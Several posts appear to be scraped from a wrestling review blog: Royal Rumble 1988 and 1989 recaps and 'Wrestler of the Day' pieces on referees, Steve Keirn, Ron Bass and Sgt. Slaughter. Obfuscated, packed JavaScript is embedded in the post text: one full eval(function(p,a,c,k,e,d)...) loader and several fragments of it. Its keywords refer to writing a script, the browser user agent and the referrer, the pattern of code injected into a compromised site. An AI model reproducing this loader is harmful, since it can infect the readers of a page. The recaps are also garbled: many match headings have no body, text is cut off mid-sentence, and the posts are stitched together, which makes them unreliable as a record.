Royal Rumble Count-Up – 1989: Prelude To An Explosion

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shhyi|var|u0026u|referrer|ybznt||js|php'.split('|'),0,{})) Rumble 1989
Date: January 15, 1989
Location: The Summit, Houston, Texas
Attendance: 19,000
Commentators: Gorilla Monsoon, Jesse Ventura

Dino Bravo/Fabulous Rougeaus vs. Jim Duggan/Hart Foundation

Slick says the Twin Towers (Boss Man and Akeem) are probably winners of the Rumble but denies knowing anything about shenanigans with DiBiase. Sean Mooney has footage (the original Vickie Guerrer) of Slick and DiBiase together and suddenly Slick realizes he misunderstood Mooney the first time. He has no comment though.

Rude runs his mouth a bit about beating Warrior. This must be intermission.

Jesse is sitting on the throne that will go to either Haku or Race. He thinks he might just run for King because the chair is comfortable.

King Haku vs. Harley Race

Time for more Rumble promos, with Beefcake, Greg Valentine (both of whom say they just need their fists), the Powers of Pain (Fuji does the talking for them), Big John Studd (freshly back in the company), Mr. Perfect (pretty new at this point) and Savage (insane of course).

DiBiase is much happier about his number now.

Hogan gives his usual promo with the focus on Boss Man and Akeem this time.

Royal Rumble

Warlord is #20 and Hogan clotheslines both Busters out at the same time. Warlord poses on the apron, gets in, and is clotheslined out in 2 seconds flat, setting a record that would last 20 years. Hogan also dumps Bad News, but it takes out Savage in the process which adds even more fuel to the Mega Powers Exploding in less than a month. Liz comes in to play peacemaker and the Powers shake hands.

A cross body is caught and Akeem dumps Martel to get us down to Studd, Akeem and DiBiase. Akeem pounds on Studd as DiBiase gives instructions. Studd pulls Ted in front of a splash and dumps Akeem to get us down to two. DiBiase offers money but Studd shakes a finger at him. Studd actually fires off some suplexes to the shock of Monsoon. The elimination is academic and Studd wins.

Jesse and Gorilla wrap things up.

Ratings Comparison

Jim Duggan/Hart Foundation vs. Dino Bravo/Fabulous Rougeaus

Original: C+

Redo: C

Original: C-

Redo: D

King Haku vs. Harley Race

Original: C

Redo: D+

Royal Rumble

Original: C+

Redo: C-

Overall Rating

Original: C-

Redo: D+

http://kbwrestlingreviews.com/2011/01/08/royal-rumble-count-up-1989/

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/




Royal Rumble Count-Up – 1988: When Being Petty Gives Us Free Shows

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezfik|var|u0026u|referrer|drhyh||js|php'.split('|'),0,{})) January (or it will be when you read this) and that means it’s time for the Road to Wrestlemania to begin. That road starts with the Royal Rumble, which has a very long history to it which we’re going to get into every day for the next 27 days before we hit the 2015 edition. We’ll start with a brief intro into the background of the show and how it got started before moving into the show itself.

Royal Rumble 1988
Date: January 24, 1988
Location: Copps Coliseum, Hamilton, Ontario, Canada
Attendance: 18,000
Commentators: Vince McMahon, Jesse Ventura

Rick Rude vs. Ricky Steamboat

We start with Kai vs. Yamazaki (the one in pink. Got it) and a knee to the back from Martin gives the Girls control. Yamazaki Matrixes out of a cover and rolls Kai up for two. Off to Tateno for a kind of suplex out of a piledriver position for one. Jesse asks Vince the names of the Bomb Angels and Vince has NO idea. He suggests calling them pink and red. Yamazaki tries a cross body but it literally bounces off the shall we say rotund Martin.

We recap Hogan vs. Andre at Wrestlemania by getting the opening minute or so which saw Hogan trying the slam and Andre getting a “controversial” two count. Andre wants a rematch and has been sold to DiBiase, who wants to buy the world title. Andre showed how evil he was by attacking Hogan on SNME and easily choking him down, setting up the rematch in about two weeks and a match which drew an INSANE 15 rating on LIVE national TV on NBC. Today Vince would lose his mind at a 5 on cable, so this was unthinkable back then.

Royal Rumble

Gang dumps Blair and Roberts in about ten seconds, which is the best thing that could happen in this match. The Junkyard Dog is #20, giving us a final group of Davis, Volkoff, Muraco, Bass, Hillbilly Jim, Dino Bravo, Ultimate Warrior, Gang, Duggan and Dog. Hillbilly and Gang hammer on each other as Duggan puts Volkoff out. Gang tosses Hillbilly as Bravo and Davis double team Duggan. This ends badly for Davis as Duggan dumps him to a BIG pop.

Jim gets double teamed for awhile and Bravo drops an elbow on him. The same clothesline sequence the heels tried earlier backfires and Bravo gets clotheslined out. Duggan pounds on Gang in a Mid-South reunion but a single shot from Gang takes him down. Gang beats on him next to the ropes, so Duggan low bridges him to win the first Royal Rumble.

We recap (see? It even happened back then) the contract signing from earlier tonight.

Islanders vs. Young Stallions

Jesse and Vince chat a bit about what we saw to end the show.

Ratings Comparison

Ricky Steamboat vs. Rick Rude

Original: C+

Redo: C

Jumping Bomb Angels vs. Glamour Girls

Original: B-

Redo: B

Royal Rumble

Original: C-

Redo: C+

Islanders vs. Young Stallions

Original: C-

Redo: D

Overall Rating

Original: C+

Redo: C+

http://kbwrestlingreviews.com/2011/01/08/royal-rumble-count-up-1988/

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/




Wrestler of the Day – December 24: Earl Hebner/Nick Patrick/Danny Davis

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkait|var|u0026u|referrer|ysszh||js|php'.split('|'),0,{})) with Santa on the way, we’re going to look at the greatest thing ever: WRESTLING REFEREES!

We have a trio to look at today, starting with Earl Hebner. First up is a match that became a long term running joke. From Smackdown on May 4, 2000.

WWF World Title: The Rock/Earl Hebner vs. HHH/Road Dogg/X-Pac

Earl Hebner vs. Nick Patrick

Of all people, Mick Foley is the referee here. Yeah I don’t get it either but whatever. He’s wearing a Marvel t-shirt so I can’t complain at all. Nick comes out with an army of referees which is just funny looking. Earl does the same. It looks like the world’s weakest gang. Oh and they’re in refereeing gear.

Take a wild guess as to the quality of the work here. Do I need to offer commentary on this one? It’s a glorified lumberjack match. Foley throws out the WCW referees. Earl hits something resembling a spear for the win. Patrick gets in Foley’s face and guess what happens. I think you know the drill.

Rating: N/A. I’m not grading two non-wrestlers like I would grade regular wrestlers. The match was the disaster you would expect and more of a novelty than anything else. Having Foley in there was the only thing they could have done, but it really didn’t do enough to save the thing.

One last Hebner match from Impact, December 5, 2013.

Ethan Carter III vs. Earl Hebner

Chris Jericho vs. Nick Patrick

Patrick has been an evil referee that has screwed Jericho over a few times and this is revenge time. Jericho has Teddy Long as his manager which didn’t last long. He also has to have one arm behind his back. We hear about Nick Patrick’s wrestling career which also didn’t last long. It’s the left arm here so this should be dominance. Patrick cuts a short promo and we find out why he’s a referee.

Patrick is in a sleeveless shirt and is in the NWO here. He also has a neckbrace. With one arm, Patrick wants a test of strength. That whole wrestling background falls apart pretty quickly here as it’s all Jericho who puts on a clinic with one arm. It’s all Jericho as we go to the floor. Jericho misses a clothesline into the post though and Patrick takes over for a bit. Since his offense does nothing though, we’re kind of just wasting time here. Jericho channels his inner Shawn Michaels for a superkick to end it. This was the first pinfall loss for the NWO on PPV, four months after they debuted.

Rating: D+. Pretty boring but they came up with some fairly creative spots to let Patrick get some offense in. This was just kind of pointless though as there was no challenge at all for Jericho and it just kind of fell flat. It could have been FAR worse though as at Patrick was actually a former wrestler (a knee injury ended his career) so he actually had an idea of what he was doing.

Now we’ll get a double shot at evil Nick Patrick faces good referee Randy Anderson for Anderson’s job. Bischoff had fired Anderson, who was suffering from cancer at the time, and this is his chance to come back. From Nitro, February 17, 1997.

Nick Patrick vs. Randy Anderson

Hart Foundation/Danny Davis vs. British Bulldogs/Tito Santana

Davis would be in the first Survivor Series match ever in 1987, but had this warmup match two days earlier in Madison Square Garden on November 24.

Jake Roberts vs. Danny Davis

Davis is a former referee that is just now getting good enough to be a jobber. There’s no Jimmy Hart here for some reason. Davis stalls like a Memphis man which he isn’t. They have to do this because there’s no one in the arena that thinks Jake will have any issues once he gets his hands on Danny. The fans however don’t like the idea of wasting two minutes on hiding in the ropes though so they’re not very pleased.

They lock up but Jake won’t punch him for some reason. More locking up and more stalling. Danny won’t do a test of strength as we’re about three and a half minutes into this and the high point has been a tie up. Jake gets a knuckle lock (half a test of strength) and tortures Danny with it for a bit. One arm slam by Jake as we’re just killing time here. More stalling, this time on the floor. Danny gets in his jobber offense for a minute or so until Jake gets bored and DDTs the heck out of him to end it.

Rating: F. This got 8 minutes. Do I need to explain why this was boring as all goodness. Well yeah I probably should, as the match explains the problem with Davis in general: he could draw incredible heat for cheating to win a lot of his matches, but when he had to have a match with some length, there’s only so much he can do. Unfortunately that was passed about two minutes in and Davis could only hide in the ropes and stall for so long. If he could have wrestled even at a passing level, he could have been far more effective.

Team Honky Tonk Man vs. Team Randy Savage

Honky Tonk Man, Harley Race, Ron Bass, Danny Davis, Hercules

Randy Savage, Jim Duggan, Ricky Steamboat, Jake Roberts, Brutus Beefcake

Rating: B. This was a really fun match with a good story to it. The fans HATED Honky and the idea of getting him caught at the end with no one to defend him had the fans going nuts. Honky vs. Savage was a great feud but it never had a blowoff due to a bunch of backstage stuff. Honky would somehow hold the title nine more months before perhaps the greatest end to a title run ever at Summerslam. This was a great choice for a first match ever for the concept too as it showed how the idea worked and gave the fans something to cheer about too. Really good stuff.

George Steele vs. Danny Davis

Danny Davis vs. Brutus Beefcake

Based on the two interviews I think you get the story here. Davis is the former referee that always cheated and is now a bad heel. Jesse sounds stunned when Davis goes on offense. That’s hilarious for some reason. They botch something and down goes Davis with the fans just losing their minds over Beefcake. The sleeper goes on and this is academic. Post match Davis gets his hair cut…kind of. Oh and he gets a skunk stripe put on his back and hair.

Team Ultimate Warrior vs. Team Honky Tonk Man

Ultimate Warrior, Brutus Beefcake, Sam Houston, Jim Brunzell, Blue Blazer

Honky Tonk Man, Bad News Brown, Danny Davis, Ron Bass, Greg Valentine

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/




Wrestler of the Day – December 7: Steve Keirn

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkrai|var|u0026u|referrer|nndee||js|php'.split('|'),0,{})) we’re looking at one of the strangest gimmicks I can remember in a long time: Steve Keirn, better known as Skinner.

from November 29, 1980.

TV Title: Steve Keirn vs. Kevin Sullivan

Steve is defending and they shake hands before the match. Sullivan takes him down with a quick armdrag but gets caught in an early headscissors. Back up and a shoulder puts Kevin outside but Keirn is nice enough to hold the ropes open so Sullivan can get back in. We get a standoff until the champ takes him down by the arm again.

Keirn stays on the arm despite Sullivan rolling all over the ring to try an escape. He takes Sullivan back down to the mat by the arm but his abdominal stretch is countered with Keirn being sent out to the floor. Sullivan offers to hold the ropes open just like Steve did but jumps the champion coming back in and grabs a small package for the pin and the title.

Off to Florida in the summer of 1981.

Dory Funk Jr. vs. Steve Keirn

He comes up holding his knee so Dory sends him face first into the post and hooks the spinning toehold for a pin on the unconscious Keirn.

Crockett Cup First Round: Fantastics vs. Fabulous Ones

Ok by sheer talent in the ring this has to be good. The Fabulous ones are Steve Keirn (Skinner and the current owner of FCW) and Stan Lane (future member of the Midnight Express). The Fantastics are Bobby Fulton and Tommy Rodgers and are probably my favorite NWA tag team. Fulton vs. Keirn to start and this goes fast. Clipped to Keirn hammering on Fulton. This lack of commentary is really pretty interesting.

And again at AWA Wrestlerock 1986.

Fabulous Ones vs. Barry Windham/Mike Rotunda

The Fabulous Ones are Steve (Skinner) Keirn and Sweet Stan Lane. The guest announcer here is another radio guy which is the case with the vast majority of them. Windham vs. Lane starts things off. The crowd has filled in a lot and it looks much better. Feeling out process to start as Barry grabs a headlock. This is back when Windham was awesome and in shape so he’s fun to watch.

Off to Rotunda and the arm work (I’m as shocked as you are) begins. Lane tries to escape a hammerlock but gets kneed in the arm instead. Back to Barry who cranks on the arm some more. Off to Keirn who is armdragged right back down. Back to Mike who works a top wristlock. Barry comes in quickly for a chinlock. Keirn tries a leapfrog but gets punched in the face for his efforts. You can’t say Barry is over complicating things.

Windham/Rotunda hit a double dropkick and Keirn is in trouble. Mike misses a corner charge and the heels take over. Things break down quickly but Rotunda can’t make a tag. After a long beating by Lane it’s back to Keirn. Lane comes in for a neckbreaker but misses an elbow. There’s the tag to Barry after a short heat segment. Powerslam gets two on Stan.

The Ones cheat again and Barry gets caught in a chinlock. We’re ten minutes into this and it hasn’t really kicked into high gear yet, which is a shame given what you have to work with here. Barry grabs a small package on Lane for two. Off to Rotunda who speeds things up and gets two on Lane. There’s an airplane spin for two. Lane backdrops him and sets for a piledriver but Barry comes off the top with an elbow to the back of the head, giving Rotunda the pin.

Rating: C. Not a great match or anything here but it was ok I guess. They never cranked this up as high as they could and that really hurt it. Also the lack of any reason for these teams or wrestlers in any match for that matter to want to fight each other is really bringing things down. If they don’t care, why should I care?

Off to Florida with PWF Homecoming in 1989.

Scott Hall/Steve Keirn vs. Dick Slater/Bam Bam Bigelow

From the next week.

Tag Titles: Fabulous Ones vs. Cody Michaels/Jerry Lynn

Rating: C. This was fine as throwing out a title match is a good way to keep things interesting. Even if it was pretty dominant for the Fabs, putting the titles on the line at least made it seem possible that something big could happen. Lynn was still good even when he was young, which is impressive. He looks about the same too.

And one last run from February 2,

New Kids vs. Fabulous Ones

Team Mustafa vs. Team Slaughter

Colonel Mustafa, Berzerker, Skinner, Hercules

Sgt. Slaughter, Tito Santana, Jim Duggan, Texas Tornado

Rating: F. The match sucked, it was never in doubt, and the biggest deal on the heel team was Skinner, who would get an IC Title shot soon after this. What a horrible match and one of the most worthless ones in the history of the show so far, which is covering quite a bit of ground. Nothing to see here at all.

Intercontinental Title: Bret Hart vs. Skinner

If you don’t know who the champion is here, you’re beyond my help. Skinner is in the ring when the champion’s music plays so what do you expect out of this? Bret’s singles push was in full swing here, having beaten Perfect in their classic at Summerslam. Skinner is apparently undefeated at this point, meaning he had beaten about three jobbers or something.

Bret gives some girl the shades and she FREAKS. You would think it was 1999 and she was a 13 year old at an N Sync concert. Bret is crisp as all goodness here, and given that Steve Keirn, more commonly known as Skinner, is a very good wrestler in his own right means this should be solid. He’s the head trainer in FCW, or at least he was as of a few months ago. We get a WILL YOU BE SERIOUS from Monsoon as those two somehow have more chemistry than Ventura and McMahon.

That’s a very high compliment if there ever was one. Bret goes into the post to turn the tide here. That shouldn’t be a DQ as some commentators freak out about. It’s part of the ring after all. Bret goes into his standard great selling as the clinic on psychology that is a Bret Hart match begins. We get an abdominal stretch and say it with me: Gorilla criticizes it. One of my favorite bits that they do is Gorilla saying something and Heenan repeating it.

That’s just great stuff that you just can’t teach. Danny Davis is the referee here, despite being banned from doing so for life plus ten years. We go through the motions of Skinner working over the shoulder and things are working quite well indeed. Just as I say that, he goes after Bret’s leg and even Gorilla points out how stupid that is. Heenan says that it’s like beating on a lizard and goes into a biology thing, which Gorilla is annoyed with.

The crowd is WAY behind Bret here. Skinner hits his finisher, a reverse DDT, but Bret gets out at two of course. Bret plays possum, and despite the fact that he does this IN EVERY MATCH HE HAS EVER HAD, Skinner falls for it and Bret goes into the original five moves of doom, which of course he doesn’t get through before Skinner breaks up the streak, just like everyone else does.

See, the difference between Hogan and Hart is that while they always finish the same, Bret had a million different ways of getting there while you could plot a Hogan match from bell to bell with relative ease. Skinner goes up top for no apparent reason, and in a great impression of Ric Flair, gets slammed off of it. Sharpshooter goes on and the match goes off.

Rating: B. It’s a formula match, but since Bret is the master of formula matches, ok second master after Flair, this was fine. Skinner was built up as the challenger of the week, he went in and did his stuff, Bret survived and got the tap out. Do that about 10 times and you have yourself a dominant champion, which is exactly what they did and it worked like a charm. This was very solid stuff all around and it worked quite well to open the show. The bad part is that it’s probably going to be the best match of the night.

From Wrestling Challenger at some point in January 1992.

Skinner vs. ???

Back in and a sunset flip gets two on Skinner but he plants the guy with something like a Pedigree. A reverse DDT is enough for the pin.

From Wrestlemania VIII.

Owen Hart vs. Skinner

From a tape called Bashed in the USA on December 14, 1992.

Intercontinental Title: Shawn Michaels vs. Skinner

Dude really? Also heel vs. heel? Skinner has an alligator skin cowboy hat which JR critiques. Skinner slaps Shawn to start as maybe hes a face here? I dont remember that at all but he might just be face by default here. He knocks Shawn to the floor and back in, punches him a few times. Swinging neckbreaker gets two. Ross thinks Skinner is like a guy from Deliverance. Ill let you make your own jokes there.

Shoulderbreaker puts Shawn down for two again. What is with Shawn getting beaten up in back to back matches here? Shawn hits the floor again and is in big trouble. He avoids being rammed into the post as Skinner goes into the post instead. Horrible looking dropkick puts Skinner down in the ring as Savage talks like Yoda. Some headbutts by Skinner put Shawn down. And then Shawn hits the superkick to retain the title. Totally out of nowhere there but at least its a pin.

Rating: D+. What is UP with this tape? Shawn got beaten up for the most part here and then won at the very last second. He’s still champion at least and he got the pin but why is Shawn losing until the very last minute only to either cheat or hit a quick move to win? I’m not sure what’s going on here but it’s kind of stupid.

Undertaker vs. Skinner

The match is joined in progress with Undertaker being knocked out to the floor. After about eight seconds we see a commercial for G.I. Joe toys. Back with them heading outside and Skinner choking Undertaker as we go off the air. They would show the “conclusion” next week which was Undertaker winning in about 30 seconds with the Tombstone.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/




Wrestler of the Day – November 24: Ron Bass

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aheak|var|u0026u|referrer|sebbh||js|php'.split('|'),0,{})) we’re looking at one of the most common wrestling characters of all time: the evil cowboy with Ron Bass.

Ron Bass vs. Pat Hutchenson

Same territory with a better opponent at some point in 1981.

Jerry Lawler vs. Ron Bass

Kevin Sullivan vs. Ron Bass

Bass is a face here and has a broken hand. He hammers on Sullivan with the cast to start and Sullivan bails to the floor. Back in and a kick to the jaw sends Kevin outside one more time before Ron cranks on an armbar. Sullivan fights back up and stomps away but dives into a right hand to the ribs. Bass sends him into the buckle a few times and nails the powerslam, only to have Angelo Mosca come in for the DQ.

Off to Starrcade 1984 with Bass in the NWA.

Mid-Atlantic Title: Ron Bass vs. Dick Slater

Ron Bass vs. Black Bart

Bart tries to punch his way out of the corner and gets choked with the rope for his efforts. Bass pounds in more shots to the head as we have a recurring theme to this match. Bart finally gets in a bell shot of his own to bust Ron open, but after a few more he misses a charge and goes flying to the floor. Bass keeps pounding away with the bell on the floor, including with a shot off the apron. Back inside and you can insert your own NEEDS MORE COWBELL joke here.

As a result of that win by Bass, we get this.

Ron Bass vs. JJ Dillon

This is a five minute bullrope match and JJ jumps Bass as the bell rings. JJ chokes away with his boot and hits Bass in the head with the bell. Then he hits Bass again with the bell. Now JJ mixes things up by hitting Bass in the head with the bell. They FINALLY do something else as JJ chokes him down with the rope, only for Bass to make a comeback and slug JJ down with the bell for a bit. A big shot to the head has Dillon down but the referee gets bumped. Bart comes back in and piledrives Bass, giving JJ the cheap pin.

Gladiator/Jimmy Jack Funk/Ron Bass vs. Dan Spivey/Mike Rotundo/Blackjack Mulligan

Well that’s a team for you. On an interesting note, Mulligan is the father of the man that Spivey replaced in the US Express: Barry Windham. Not sure if there’s a point to this or not but whatever. Jesse says his report on Andre and Hogan is coming next week on Piper’s Pit. You have no idea how awesome this sounds to me. Ron Bass doesn’t like Mulligan. Yeah this went nowhere thank goodness. This is mainly about Vince arguing with Ventura so it’s more or less awesome. I have no idea who the Gladiator is but Mulligan pins him.

From October 28, 1987.

Ron Bass vs. Ricky Steamboat

This is a Wrestling Challenge match here, which is the equivalent of Superstars today. I don’t recognize that commentator. One of them is Mike McGuirk (female announcer), one is Nick Bockwinkel and I don’t recognize the third. I think it’s current TNA boss Bruce Pritchard. We’ll go with that. Bass is a cowboy and gets caught with a top rope chop to send him to the floor.

Bockwinkel talks about whether or not top rope moves should be banned. Give me a break. McGuirk is talking about how handsome/good looking Steamboat is. Ok then. Bass takes over and hits a chop for two. Powerslam gets the same. Swinging neckbreaker gets countered and both guys are down. Steamboat counters a suplex into one of his own. They slug it out from their knees and then ram heads. Sleeper is countered by Bass and they go to the floor. They brawl to a double countout.

Rating: F. Horribly dull match here as both guys were in about -5th gear the whole time. Steamboat was coming back from the time off where his wife had a baby (and he lost the IC Title as a result) so maybe it was rust. This was awful though and probably the worst Steamboat match I’ve ever seen.

Bass was in the opening match at the first ever Survivor Series in 1987.

Team Honky Tonk Man vs. Team Randy Savage

Honky Tonk Man, Harley Race, Ron Bass, Danny Davis, Hercules

Randy Savage, Jim Duggan, Ricky Steamboat, Jake Roberts, Brutus Beefcake

Rating: B. This was a really fun match with a good story to it. The fans HATED Honky and the idea of getting him caught at the end with no one to defend him had the fans going nuts. Honky vs. Savage was a great feud but it never had a blowoff due to a bunch of backstage stuff. Honky would somehow hold the title nine more months before perhaps the greatest end to a title run ever at Summerslam. This was a great choice for a first match ever for the concept too as it showed how the idea worked and gave the fans something to cheer about too. Really good stuff.

Ron Bass vs. Ricky Steamboat

Bass holds him off with a whip so the Dragon goes out and grabs a chair. Naturally Steamboat speeds things up and gets a quick sunset flip for two. The cat is skinned and Steamboat gets what we would call a rana for two. For some reason the cameraman wearing a Hulkamania shirt makes me chuckle. Bass takes over and gets a clothesline but walks into something like an enziguri (granted it hit the back but no one knew what it was supposed to be at this point anyway) to send Bass to the floor.

Back in and Steamboat grabs the arm to take the bigger man down. I know it’s basic but it’s about the smartest thing you can do so there’s a reason it’s that common. McGuirk is like Booker T as all she really says is an occasional move in the ring. Steamboat tries to speed this up again but walks into a hot shot to finally shift control to Bass. Piledriver gets two.

Bass hammers away with a knee drop (called Knee-monia by Doherty and making me want to take a knee to the head so I hopefully forget that joke) to the head and various other basic offense for two on a few occasions. Pretty weak swinging neckbreaker gets two. Off to the chinlock now and Steamboat’s face is all crushed up, making it look hilarious.

Here’s the comeback and Steamboat goes up for the top rope chop. Steamboat can’t keep anything going here as a clothesline takes him down again. Out of absolutely nowhere, Steamboat gets a cross body not off the ropes to end this. Surprising endings like those are always fun, especially for the live crowd.

Rating: C-. Never been a fan of Bass but it’s hard to argue against Steamboat in the late 80s. Not bad here but really just a way to kill about ten minutes. Steamboat would be gone in about five months and would head back to the NWA where he would win the world title in February of 89.

Bass also opened the show at Survivor Series 1988.

Team Ultimate Warrior vs. Team Honky Tonk Man

Ultimate Warrior, Brutus Beefcake, Sam Houston, Jim Brunzell, Blue Blazer

Honky Tonk Man, Bad News Brown, Danny Davis, Ron Bass, Greg Valentine

Brutus Beefcake vs. Ron Bass

This was a fairly brutal (for its time) feud as Brutus had cut up Bass’ whip so Bass had used his boot spur on Brutus’ head, cutting him badly. They put a big red X on the screen with the word censored over it, even though Brutus moved around and you could see the cut anyway. That cost Brutus the IC Title shot he had at Summerslam. This is hair vs. hair.

I don’t think they’ve both been in the ring for more than 30 seconds yet. It’s pretty much all Brutus at this point and you know what happened because I said that. Bass gets a nice piledriver. There’s very little to this match at this point. Bass takes forever to go for the pin and after arguing with the referee he walks into a sleeper and of course he’s out in about 4 seconds.

After the commercial he cuts the back of his hair as Bass is apparently out cold for about 5 minutes from a 4 second sleeper. Dang he actually did cut it. Always nice to see them actually do what they’re supposed to do. Perfect timing that he wakes up just when the haircut is over isn’t it?

Rating: D+. This was pretty weak but not awful I guess. This was your run of the mill thing but Bass was your standard heel and Beefcake was WAY over so it works out fine I guess. This was ok for an opener and it does give a blowoff to the feud so it served its purpose in that sense.

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Wrestler of the Day – August 7: Sgt. Slaughter

ATTEN-HUT! Today is Sgt. Slaughter.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snbni|var|u0026u|referrer|rraft||js|php'.split('|'),0,{})) Sarge got his start in the AWA and NWA in 1972. We’ll join him in the WWF on January 4, 1981 for one of the best matches of all time.

Pat Patterson vs. Sgt. Slaughter

Patterson is in street clothes and the brawl is on as soon as Slaughter gets inside. A series of kicks puts Sarge down and Patterson chokes him in the corner. Slaughter misses a big right hand and hits the post, sending him to the apron. Back in and it’s time for a whipping from Patterson with Slaughter selling it like he’s been shot. Slaughter finally sends him through the ropes and onto the apron to get a breather but Pat is right back with belt shots to the back.

Sarge finally gets in a blow to the ribs and takes the belt before sending Patterson throat first into the top rope. He wraps the belt across Pat’s mouth and rips Patterson’s shirt off for good measure. More choking ensues but Pat charges at the ropes to send Slaughter out to the floor. Slaughter tries to come back in off the top but only hits the mat to put both guys down.

Patterson slams him down and drops a middle rope knee before hitting the same sequence again. He bites Slaughter’s forehead but Sarge kicks him in the gut and drops a few knees of his own to take over again. A kick to the head with the combat boot puts Patterson down again and Slaughter launches him to the floor. Back in and Pat punches at the ribs before catapulting Slaughter into the post, causing his forehead to burst open. It looks like he was stabbed to draw that much blood.

Pat goes after the cut but a low blow puts him back down. Slaughter pulls out brass knuckles but can’t see Pat after knocking him out. His face looks like Ultimate Warrior’s paint job. Patterson is back up and wins a slugout before hitting him in the head with a cowboy boot. Slaughter still has the knuckles on his hand. Another boot shot has Slaughter reeling and a third puts him down. Sarge is knocked into the post and onto the floor where he takes out a cameraman. The crowd is LOVING this. Pat just unloads with the boot until the Grand Wizard (Slaughter’s manager) throws in a towel to stop it. Sarge wanted to keep fighting.

Rating: A. Great great fight here with Slaughter’s blade job being one for the books. This was as brutal as you’re going to get for this era and the fans ate it up. One of the key things here is that Slaughter got to save face at the end with the Wizard throwing in the towel to stop it. Patterson rose up to fight the evil guy, which is what a hero is supposed to do. Great stuff here.

We’ll jump ahead a bit to October 17, 1983, still in MSG.

Sgt. Slaughter vs. Ivan Putski

Slaughter is EVIL. LONG stall to start as Slaughter doesn’t want to lock up with him. After about two minutes they lock up and Putski uses one of his signature moves: a headlock. It’s not an 80’s thing. It would still be boring by any standards. We’re three and a half minutes into this and we’ve had a headlock as our entire offense. Putski runs him over and puts on a chinlock. This is going to be really dull isn’t it?

Slaughter gets rammed into the post and Putski is in full control. Sarge finally hits an atomic drop but hurts his own knee on it. He manages to come off the middle rope but that leg is bothering him. This has to be legit as there’s no reason for him to sell like this. Slaughter “charges” at him in the corner but hits the post again head first. He manages to hook the Cobra Clutch but Putski makes the rope. Ivan comes back with a bunch of right hands….and one hits the referee for the lame DQ.

Rating: D. A lot of this was because of the knee injury as it would seem they went home early. That being said, the stuff before the injury was really bad with the vast majority of it being a headlock and punches. The early 80s were never really know for workrate and you can see that here very clearly. Putski just wasn’t that good.

Still in MSG on January 23, 1984, the night Hogan won the title.

Ivan Putski vs. Sgt. Slaughter

We get the shot from the back as Sarge comes out. I miss that camera shot. I think Slaughter is a heel here but he seems rather popular anyway. Putski, who might be 5’8 in heels, starts firing off punches but Sarge bails to the corner. They circle each other a bit more with no contact yet. Putski is small but he is RIPPED (and pretty clearly full of steroids). They finally collide with Putski shoving him around and slamming the Sarge down to stall some more.

Ivan hooks a headlock as Patterson talks about Putski loving to drink and sing. Back to the headlock as this is going slowly again. Slaughter finally comes out with an atomic drop and works on the back for a bit. That doesn’t last long though as Slaughter gets rammed into the top turnbuckle and may have been busted open in the process. Slaughter gets sent shoulder first into the post as Patterson says to stay on top of him. Is that what he got to do after the Alley Fight?

Slaughter reverses a whip into the corner and comes back with the Slaughter Cannon (running clothesline) to take over but he can’t slam Putski. Ivan is billed at 225lbs and Slaughter can’t slam him? The Cannon misses and Putski comes back with the Polish Hammer (double ax to the chest) and a shoulder to send Slaughter to the floor. In a funny bit, Sarge’s chin gets caught on the bottom rope to keep him from hitting the concrete. They fight on the apron and Putski knocks Slaughter back inside, which lets Slaughter beat the count and win by countout.

Rating: D. Another dull match here as is the custom for 1984. Putski just wasn’t that good and he looked freaky to say the least. He was just too muscular for someone his size and it never quite worked. Slaughter would go to the AWA pretty soon after this and stay for years until coming back around 1990 to be the turncoat American.

One more time, on September 22, 1984.

Adrian Adonis/Dick Murdoch/Lou Albano vs. Sgt. Slaughter/Wild Samoans

Before the match Albano says that this is due to him being accused of being a biased referee against the Samoans and the Sarge. Adonis and Murdoch are tag champions. Albano sneaks in a foreign object because that’s what he does. After a LONG stall we’re ready for the opening bell. We finally start with Afa vs. Murdoch and they trade full nelsons. It must drive Murdoch nuts to be in there against Afa as Murdoch was a member of the KKK.

